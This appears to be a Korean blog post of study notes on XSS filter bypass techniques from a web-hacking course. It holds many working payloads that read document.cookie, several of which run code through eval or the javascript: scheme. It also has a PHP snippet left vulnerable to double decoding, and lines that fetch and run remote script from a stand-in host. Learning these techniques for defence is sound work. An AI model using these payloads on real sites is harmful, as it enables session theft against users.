Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Web_Hacking] AD(client): stage1_XSS Filtering Bypass-2 본문

Hack/DreamHack(로드맵)

[Web_Hacking] AD(client): stage1_XSS Filtering Bypass-2

CIDY 2022. 7. 31. 01:12

*자바스크립트 키워드 필터링

자바스크립트는 Unicode escape sequence를 지원한다. -> 유니코드 문자를 코드포인트로 나타낼 수 있는 표기법이다. ("\uAC00" == "가")

 

var foo = "\u0063ookie";  // cookie
var bar = "cooki\x65";  // cookie
\u0061lert(document.cookie);  // alert(document.cookie)

 

따라서 위와 같은 필터링 문자열 우회가 가능해진다.

 

또, 자바스크립트는 Computed member access를 지원한다.

document["coo"+"kie"] == document["cookie"] == document.cookie

위와 같이 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능을 말한다.

 

alert(document["\u0063ook" + "ie"]);  // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]);  // alert(document.cookie)

그래서 위와 같은 우회가 가능해진다.

 

 

다음은 XSS공격에 자주 사용되는 구문과 그에 해당하는 필터링 우회 방법이다.

alert, XMLHttpRequest 등 문서 최상위 객체 및 함수 window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기
window self, this (this['al'+'ert']) 이렇게 쓸 수 있음.
eval(code) Function(code)()
Function isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근

 

자바스크립트의 언어적 특성을 잘 활용한다면 [ ] ( ) ! +만으로 모든 동작을 수행할수도 있다고 한다.

 

 

필터링이나 인코딩/디코딩과 같은 이유로 특정 문자를 사용하지 못하는 경우 -> 이를 대체하여 우회, 공격할 수 있다.

만약 " 나 '와 같이 따옴표가 필터링되었을 경우, 템플릿 리터럴(Template Literal)을 이용할 수 있다.

 

var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."

 

위는 템플릿 리터럴 이용 예시이다. 템플릿 리터럴은 내장된 표현식을 허용하는 문자열 리터럴인데, 여러 줄로 이루어진 문자/문자열을 보관하는 용도로 쓸 수 있다.

 

템플릿 리터럴은 백틱(`)을 이용해 선언할 수 있고, 내장된 &{}표현식을 이용해 다른 변수나 식을 사용할 수 있다.

 

따옴표, 백틱 모두 이용 불가할 때도 문자열을 만들 수 있다.

 

var foo = /Hello World!/.source;  // "Hello World!"
var bar = /test !/ + [];  // "/test !/"

위와 같이 / / 사이에 문자열을 써서 RegExp객체를 생성한 뒤 객체의 패턴 부분을 가져와 문자열을 만들 수 있다.

 

var foo = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"

또는 위와 같이 유니코드 범위에서 해당 문자를 반환하는 String.fromCharCode 함수를 이용해 문자열을 만들 수도 있다.

 

 

내장 함수나 객체의 형태를 toString함수를 이용(기본 내장 함수, 객체의 문자 사용)해 문자열로 변환할 수 있다. -> 원하는 문자열에 필요한 문자들을 내장 함수/객체로부터 하나씩 떼올 수 있다.

var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"

위 코드에서 history.toString은 [object History]라는 문자열을 반환하고([가 0번째, H가 8번째), URL.toString의 경우 function URL() { [native code]  }문자열을 반환한다. 그리고 history+[]; history+0; 과 같이 함수 또는 객체와 산술 연산을 수행할 경우 연산을 위해 내부적으로 toString함수를 호출해 문자열로 변환한 뒤 연산을 수행하는 점을 이용할 수도 있다.(두 번째 줄)

 

var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"

10진수 숫자를 36진수로 변환해 아스키 영어 소문자 범위를 모두 생성할 수 있다. 이 때 E4X연산자 == .. (숫자 객체의 진법 변환 방식으로 문자열 만들기)이 이용되는데, 첫 번째 줄처럼 점 두 개를 쓰거나, 두 번째 줄처럼 공백 + 점으로 쓸 수 있다.

 

 

 

 

*자바스크립트 함수 필터링

 

alert(1); // Parentheses
alert`1`; // Tagged Templates

자바스크립트 함수 호출을 위해서는 위와 같이 ()나 백틱(Tagged Templates)이 필요하다.

 

둘 다 필터링된 경우 다음과 같은 우회법이 있다.

 

javascript: 스키마를 이용하면 URL을 이용해 JS코드를 실행시킬 수 있음 -> location객체를 변조해 JS코드를 실행하는 것이 가능하다.

location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";

위는 해당 스키마를 이용한 우회 예시이다.

 

 

자바스크립트는 문자열 이외에도 ECMAScript 6에서 추가된 Symbol을 속성 명칭으로 이용할 수 있다.

Symbol.hasInstance 라는 well-known 심볼을 이용하면, instanceof연산자를 오버라이드 할 수 있다. -> O instanceof C를 연산할 때 C에 Symbol.hasInstance속성에 함수가 있을 경우, 메소드로 호출해 instanceof연산자의 결과값으로 이용하게 됨 -> instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있다. 

 

"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];

위는 hasInstance를 이용한 우회 예시이다.

 

 

자바스크립트에서는 문서 내에 새로운 HTML코드를 추가하는 게 가능함. -> document.body.innerHTML에 코드를 추가할 경우, 새로운 HTML코드가 문서에 추가됨 -> 자바스크립트 코드 실행 가능

 

(*단, innerHTML로 HTML코드를 실행할 경우 스크립트 태그는 실행되지 않는다 -> 이벤트 핸들러로 실행)

 

document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";

 

위는 innerHTML을 이용한 우회 예시이다.                                                                                                                                                                       

 

 

->필터링 우회 예시1                          

 

위와 같이 키워드를 쪼개어 우회할 수 있다.

 

 

 

->필터링 우회 예시2

대부분 키워드와 특수문자가 필터링되어 decodeURI, atob, constructor속성을 함께 이용해 우회해야 한다.

 

constructor(alert(document.cookie))(); 를 만든 것이다.

 

Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();

ㄴ이렇게 할 수도 있다.

 

 

 

->필터링 우회 예시3

()마저 필터링되었다.

 

/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};

 

location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];

 

 

 

*디코딩 전 필터링

입력 검증은 디코딩과 같은 전처리 작업 이후 이루어짐 -> 검증이 끝난 데이터를 디코딩해서 쓰면 안 됨

 

만약 애플리케이션이 전달받은 데이터를 다시 디코딩해서 사용할 경우, 공격자는 더블 인코딩으로 방화벽 검증을 우회할 수 있게 된다.

 

이처럼 검증 이후 한 번 더 디코딩하는 것은 매우 취약하다.

 

<?php
$query = $_GET["query"];
if (stripos($query, "<script>") !== FALSE) {
    header("HTTP/1.1 403 Forbidden");
    die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8"));
}
...
$searchQuery = urldecode($_GET["query"]);
?>
<h1>Search results for: <?php echo $searchQuery; ?></h1>

php애플리케이션 코드도 마찬가지인데, 위와 같이 더블 디코딩 취약점이 있는 경우, URL을 더블 인코딩하여 검증 우회가 가능하다.

 

 

 

*길이 제한

삽입 가능한 코드 길이가 한정적일 경우, 다른 경로로 실행할 추가 코드(payload)를 URL fragment로 삽입한 뒤, 삽입 지점에서는 본 코드를 실행하는 짧은 코드(launcher)를 사용할 수 있다.

 

Fragment로 스크립트를 넘겨준 뒤, XSS지점에서 location.hash로 URL의 Fragment부분을 추출해 eval()로 실행하는 기법이 있다.

 

이외에 쿠키에 페이로드를 저장하는 방식이나, import와 같은 외부 자원을 스크립트로 로드할 수도 있다.

 

https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);

location.hash를 이용해 위와 같이 공격할 수 있다.

 

import("http://malice.dreamhack.io");
var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);
fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))

위와 같이 외부 자원을 활용할 수도 있다.